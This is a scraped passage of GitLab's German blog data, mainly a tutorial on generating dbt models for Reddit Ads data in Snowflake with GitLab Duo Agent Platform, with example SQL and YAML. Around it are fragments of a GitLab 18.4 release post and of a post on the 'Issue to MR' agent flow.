Tool](https://gitlab-com.gitlab.io/support/toolbox/upgrade-path/) – gib deine aktuelle Version ein und sieh die exakten Upgrade-Schritte für deine Instanz\n* [Upgrade-Dokumentation](https://docs.gitlab.com/update/upgrade_paths/) – detaillierte Anleitungen für jede unterstützte Version, einschließlich Anforderungen, Schritt-für-Schritt-Anweisungen und Best Practices\n\nDurch regelmäßige Upgrades stellst du sicher, dass dein Team von den neuesten GitLab-Funktionen profitiert und sicher und unterstützt bleibt.\n\nFür Organisationen, die einen Hands-off-Ansatz wünschen, bietet sich [GitLabs Managed Maintenance Service](https://content.gitlab.com/viewer/d1fe944dddb06394e6187f0028f010ad#1) an. Mit Managed Maintenance bleibt dein Team auf Innovation fokussiert, während GitLab-Experten deine Self-Managed-Instanz zuverlässig aktualisiert, sicher und bereit für die Führung in DevSecOps halten. Frage deinen Account Manager nach weiteren Informationen.\n\n*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in diesen Aussagen reflektierten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass tatsächliche Ergebnisse oder Resultate wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren findest du unter der Überschrift „Risk Factors\" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu überarbeiten, außer wenn gesetzlich erforderlich.*",[841,764,824,796],"AI/ML",{"featured":91,"template":800,"slug":843},"gitlab-18-4-ai-native-development-with-automation-and-insight",{"content":845,"config":854},{"title":846,"description":847,"authors":848,"heroImage":850,"date":851,"category":683,"tags":852,"body":853},"Wie du mit der GitLab Duo Agent Platform deine DataOps transformiert","So wird aus manueller Programmierung eine vollautomatische Generierung, erklärt am Beispiel der dbt-Modellerstellung.",[849],"Dennis van Rooijen","blog/hero%20images/workflow_1800x945.png","2025-09-16",[764,825,824],"Die manuelle Erstellung von dbt-Modellen ist ein mühsamer Prozess, der\nStunden an Arbeitszeit verschlingt. Besonders wenn keine (größeren)\nGeschäftstransformationen vorgenommen werden, gehört diese Aufgabe nicht zu\nden attraktivsten Tätigkeiten eines Dateningenieurs.\n\n\nAber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.\n\n\n## Was wir aufbauen\n\n\nUnser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite [Datenplattform](https://handbook.gitlab.com/handbook/enterprise-data/platform/) Snowflake. Bei GitLab haben wir drei Speicherebenen:\n\n\n1. `raw`-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit\n\n2. `prep`-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit\n\n3. `prod`-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte\n\n\n![Diagramm der Speicherebenen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/zo7vespktzfdtdtiauz7.png)\n\n\nFür diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der `prep`-Ebene zur `prod`-Ebene verarbeiten.\n\n\nOhne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:\n\n\n* **Quellmodelle** in der prep-Ebene\n\n* **Workspace-Modelle** in der prod-Ebene\n\n* **Vollständige dbt-Konfigurationen** für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz\n\n* **Test-Abfragen** zur Validierung der Ergebnisse\n\n\nDer gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:\n\n\n## 1. Die Datenstruktur vorbereiten\n\n\nBevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol ([MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)) mit unserer Snowflake-Instanz verbinden können:\n\n\n```sql\n\nSELECT \n    table_name,\n    column_name,\n    data_type,\n    is_nullable,\n    CASE \n        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'\n        ELSE NULL \n    END as key_type\nFROM raw.information_schema.columns\n\nWHERE table_schema = 'REDDIT_ADS'\n\nORDER BY table_name, ordinal_position;\n\n```\n\n\nDiese Abfrage erfasst:\n\n\n* Alle Tabellen- und Spaltennamen\n\n* Datentypen für die korrekte Modellstruktur\n\n* Nullable-Einschränkungen\n\n* Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)\n\n\n**Profi-Tipp:** Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie `ad_group` kontrollierte, die zwei nicht-nullable Spalten (`account_id` und `id`) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.\n\n\n## 2. GitLab Duo einrichten\n\n\nEs gibt zwei Möglichkeiten, mit [GitLab Duo](https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/) zu interagieren:\n\n\n1. **Web-UI-Chat-Funktion**\n\n2. **Visual Studio Code-Plugin**\n\n\nIch habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.\n\n\n## 3. Den 'magischen' Prompt eingeben\n\n\nHier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:\n\n\n```yaml\n\nCreate dbt models for all the tables in the file structure.csv.\n\n\nI want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.\n\nI want to have workspace models created and store these in the workspace_marketing schema.\n\n\nTake this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. \n\n\nPlease check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/\n\n```\n\n\nSchlüsselelemente, die diesen Prompt effektiv machten:\n\n\n* **Klare Spezifikationen** für sowohl Quell- als auch Workspace-Modelle\n\n* **Referenzbeispiel** aus einem vorherigen ähnlichen Merge Request\n\n* **Style Guide-Referenz** zur Sicherstellung von Codequalität und Konsistenz\n\n* **Spezifisches Schema-Targeting** für ordnungsgemäße Organisation\n\n\n## 4. GitLab Duos Prozess\n\n\nNach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:\n\n\n1. **Die CSV-Eingabedatei las und analysierte**\n\n2. **Tabellenstrukturen aus den Metadaten untersuchte**\n\n3. **Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte**\n\n4. **Ähnliche Merge Requests berücksichtigte** für die korrekte Strukturierung\n\n5. **Quellmodelle für alle 13 Tabellen generierte**\n\n6. **Workspace-Modelle für alle 13 Tabellen erstellte**\n\n7. **Unterstützende dbt-Dateien generierte**:\n\n   * `sources.yml`-Konfiguration\n   * `schema.yml`-Dateien mit Tests und Dokumentation\n   * Aktualisierte `dbt_project.yml` mit Schema-Referenzen\n\n## Die Ergebnisse\n\n\nDie Ausgabe war bemerkenswert:\n\n\n* **1 modifizierte Datei:** dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)\n\n* **29 neue Dateien:**\n\n  * **26 dbt-Modelle** (13 Quell- + 13 Workspace-Modelle)\n  * **3 YAML-Dateien**\n* **Fast 900 Zeilen Code** automatisch generiert\n\n* **Integrierte Daten-Tests,** einschließlich Unique-Constraints auf Primärschlüssel-Spalten\n\n* **Generische Beschreibungen** für alle Modelle und Spalten\n\n* **Saubere Deduplizierungs-Logik** in Quellmodellen\n\n* **Saubere, konsistente Code-Struktur** gemäß dem GitLab dbt-Style-Guide\n\n\n```yaml\n\ntransform/snowflake-dbt/\n\n├── dbt_project.yml                                                    [MODIFIZIERT]\n\n└── models/\n    ├── sources/\n    │   └── reddit_ads/\n    │       ├── reddit_ads_ad_group_source.sql                        [NEU]\n    │       ├── reddit_ads_ad_source.sql                              [NEU]\n    │       ├── reddit_ads_business_account_source.sql                [NEU]\n    │       ├── reddit_ads_campaign_source.sql                        [NEU]\n    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]\n    │       ├── reddit_ads_geolocation_source.sql                     [NEU]\n    │       ├── reddit_ads_interest_source.sql                        [NEU]\n    │       ├── reddit_ads_targeting_community_source.sql             [NEU]\n    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]\n    │       ├── reddit_ads_targeting_device_source.sql                [NEU]\n    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]\n    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]\n    │       ├── reddit_ads_time_zone_source.sql                       [NEU]\n    │       ├── schema.yml                                            [NEU]\n    │       └── sources.yml                                           [NEU]\n    └── workspaces/\n        └── workspace_marketing/\n            └── reddit_ads/\n                ├── schema.yml                                        [NEU]\n                ├── wk_reddit_ads_ad.sql                              [NEU]\n                ├── wk_reddit_ads_ad_group.sql                        [NEU]\n                ├── wk_reddit_ads_business_account.sql                [NEU]\n                ├── wk_reddit_ads_campaign.sql                        [NEU]\n                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]\n                ├── wk_reddit_ads_geolocation.sql                     [NEU]\n                ├── wk_reddit_ads_interest.sql                        [NEU]\n                ├── wk_reddit_ads_targeting_community.sql             [NEU]\n                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]\n                ├── wk_reddit_ads_targeting_device.sql                [NEU]\n                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]\n                ├── wk_reddit_ads_targeting_interest.sql              [NEU]\n                └── wk_reddit_ads_time_zone.sql                       [NEU]\n```\n\n\n### Beispiel des generierten Codes\n\n\nHier ist ein Beispiel für die Qualität des generierten Codes. Für die `time_zone`-Tabelle erstellte GitLab Duo:\n\n\n**Prep-Ebene Quellmodell**\n\n\n```sql\n\nWITH source AS (\n  SELECT *\n  FROM {{ source('reddit_ads','time_zone') }}\n  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1\n),\n\n\nrenamed AS (\n  SELECT\n    id::VARCHAR                               AS time_zone_id,\n    code::VARCHAR                             AS time_zone_code,\n    dst_offset::NUMBER                        AS time_zone_dst_offset,\n    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,\n    name::VARCHAR                             AS time_zone_name,\n    offset::NUMBER                            AS time_zone_offset,\n    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at\n  FROM source\n)\n\n\nSELECT * FROM renamed\n\n```\n\n\n**Schema.yml**\n\n\n```yaml\n\nmodels:\n  - name: reddit_ads_time_zone_source\n    description: Zeitzonendaten aus dem Reddit Ads-System\n    columns:\n      - name: time_zone_id\n        description: Eindeutige Kennung für Zeitzoneneinträge\n        data_tests:\n          - unique\n          - not_null\n      - name: time_zone_code\n        description: Code für die Zeitzone\n      - name: time_zone_dst_offset\n        description: Sommerzeitverschiebung für die Zeitzone\n      - name: is_time_zone_dst_active\n        description: Flag, das angibt, ob Sommerzeit aktiv ist\n      - name: time_zone_name\n        description: Name der Zeitzone\n      - name: time_zone_offset\n        description: Verschiebung für die Zeitzone\n      - name: fivetran_synced_at\n        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde\n```\n\n\n**Source.yml**\n\n\n```yaml\n\nsources:\n  - name: reddit_ads\n    database: RAW\n    schema: reddit_ads\n    loaded_at_field: _fivetran_synced\n    loader: fivetran\n    description: Reddit Ads-Daten\n\n    quoting:\n      database: true\n      schema: false\n      identifier: false\n\n    tables:\n      - name: time_zone\n```\n\n\n**Workspace-Modell**\n\n\n```sql\n\nWITH source AS (\n  SELECT *\n  FROM {{ ref('reddit_ads_time_zone_source') }}\n)\n\n\nSELECT * FROM source\n\n```\n\n\n## 5. Qualitätsvalidierung\n\n\nNachdem der Code gut aussah, habe ich ihn zum MR gepusht und die [CI-Test-Pipeline](https://handbook.gitlab.com/handbook/enterprise-data/platform/ci-jobs/#build_changes) ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:\n\n\n```yaml\n\nCreate a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.\n\n```\n\n\nDie KI generierte eine umfassende Validierungsabfrage, die:\n\n\n* Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich\n\n* Die Deduplizierungs-Logik berücksichtigte\n\n* Alle 13 Tabellen testete\n\n* Datenerhaltungsprozentsätze berechnete\n\n\n\u003Cdetails>\n\n\u003Csummary>Generierte SQL-Test-Abfrage\u003C/summary>\n\n\n```sql\n\n-- Reddit Ads Zeilenanzahl-Validierungstest\n\n-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene\n\n-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen\n\n\nWITH raw_counts AS (\n  -- Tabellen mit einzelnem Primärschlüssel\n  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.TIME_ZONE\n  \n  -- Tabellen mit zusammengesetzten Primärschlüsseln\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count\n  FROM RAW.REDDIT_ADS.AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_INTEREST\n),\n\n\nworkspace_counts AS (\n  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml\n  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE\n  \n  -- Tabellen mit zusammengesetzten Primärschlüsseln\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST\n)\n\n\n-- Abschließender Vergleich mit Validierungsergebnissen\n\nSELECT \n  r.table_name,\n  r.raw_count,\n  w.workspace_count,\n  r.raw_count - w.workspace_count AS count_difference,\n  CASE \n    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'\n    WHEN r.raw_count > w.workspace_count THEN '⚠️ RAW > WORKSPACE (Erwartet durch Deduplizierung)'\n    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE > RAW (Unerwartet)'\n  END AS validation_status,\n  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage\nFROM raw_counts r\n\nJOIN workspace_counts w ON r.table_name = w.table_name\n\nORDER BY r.table_name;\n\n```\n\n\n\u003C/details>\n\n\n![Tabelle mit Abfrageergebnissen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/guicjhzwvrz3czwjs3xo.png)\n\n\nDie Ausführung dieser Abfrage zeigte:\n\n\n* **Null Unterschiede** in der Zeilenanzahl nach Deduplizierung\n\n* **100% Datenerhaltung** über alle Tabellen hinweg\n\n* **Alle Tests erfolgreich bestanden**\n\n\n## Das Fazit: Massive Zeitersparnis\n\n\n* **Traditioneller Ansatz:** 6-8 Stunden manuelles Programmieren, Testen und Debugging\n\n* **GitLab Duo-Ansatz:** 6-8 Minuten Generierung + Überprüfungszeit\n\n\nDies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.\n\n\n## Best Practices für den Erfolg\n\n\nBasierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:\n\n\n### Bereite deine Metadaten vor\n\n\n* Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen\n\n* Identifiziere Primärschlüssel und Beziehungen im Voraus\n\n* Exportiere saubere, gut formatierte CSV-Eingabedateien\n\n\n**Hinweis:** Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.\n\n\n### Biete klaren Kontext\n\n\n* Referenziere nach Möglichkeit bestehende Beispiel-MRs\n\n* Spezifiziere deine Codierungsstandards und Style Guides\n\n* Sei explizit bei Ordnerstruktur und Namenskonventionen\n\n\n### Validiere gründlich\n\n\n* Erstelle immer Validierungsabfragen für die Datenintegrität\n\n* Teste lokal vor dem Mergen\n\n* Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen\n\n\n### Nutze KI für Folgeaufgaben\n\n\n* Generiere Testabfragen automatisch\n\n* Erstelle Dokumentationsvorlagen\n\n* Baue Validierungsskripte\n\n\n## Was kommt als Nächstes\n\n\nDiese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.\n\n\nIndem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.\n\n\n**Bereit, es selbst auszuprobieren?** Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.\n\n\n> [Teste GitLab Duo Agent Platform noch heute.](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/)\n\n\n## Weiterlesen\n\n\n* [GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/)\n\n* [GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/)\n",{"slug":855,"featured":91,"template":800},"how-gitlab-duo-agent-platform-transforms-dataops",{"content":857,"config":867},{"heroImage":858,"body":859,"authors":860,"updatedDate":862,"date":863,"title":864,"tags":865,"description":866,"category":683},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","[GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) (jetzt in der Beta verfügbar) bietet ein Framework für KI-Agenten zur Interaktion mit GitLab-Ressourcen wie Issues und Merge Requests und ermöglicht komplexe, mehrstufige Aufgaben vom Konzept bis zur Fertigstellung. Agent Platform bietet dialogorientierte ([Agentic Chat](https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/)) und automatisierte ([Agent Flows](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/)) Erfahrungen zur Unterstützung bei der Code-Generierung, Modernisierung, Behebung von Sicherheitslücken und Projektanalyse – alles mit Enterprise-Grade-Sicherheit und anpassbaren Kontrollen.\n\n\"Issue to MR\" ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.\n\n## Die Herausforderung für Entwickler\n\nProduktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.\n\n## Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt\n\nDu musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.\n\nVoraussetzungen:\n\n* Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.\n* Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.\n* GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu **Einstellungen > Allgemein > GitLab Duo > Flow-Ausführung erlauben** und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.\n\nSobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:\n\n1. Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über **Plan > Issues** und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.\n2. Klicke unter der Issue-Überschrift auf **Generate MR with Duo**, um den Flow zu starten.\n3. Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu **Automate > Agent sessions**, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.\n4. Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.\n5. Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.\n6. Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.\n\n## Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert\n\nDer Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.\n\n## Vorteile von GitLab Duo Agent Platform\n\nGitLab Duo Agent Platform ist [eine agentische Orchestrierungsschicht](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/), die **vollständigen Projektkontext** mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.\n\n* Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.\n* Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder 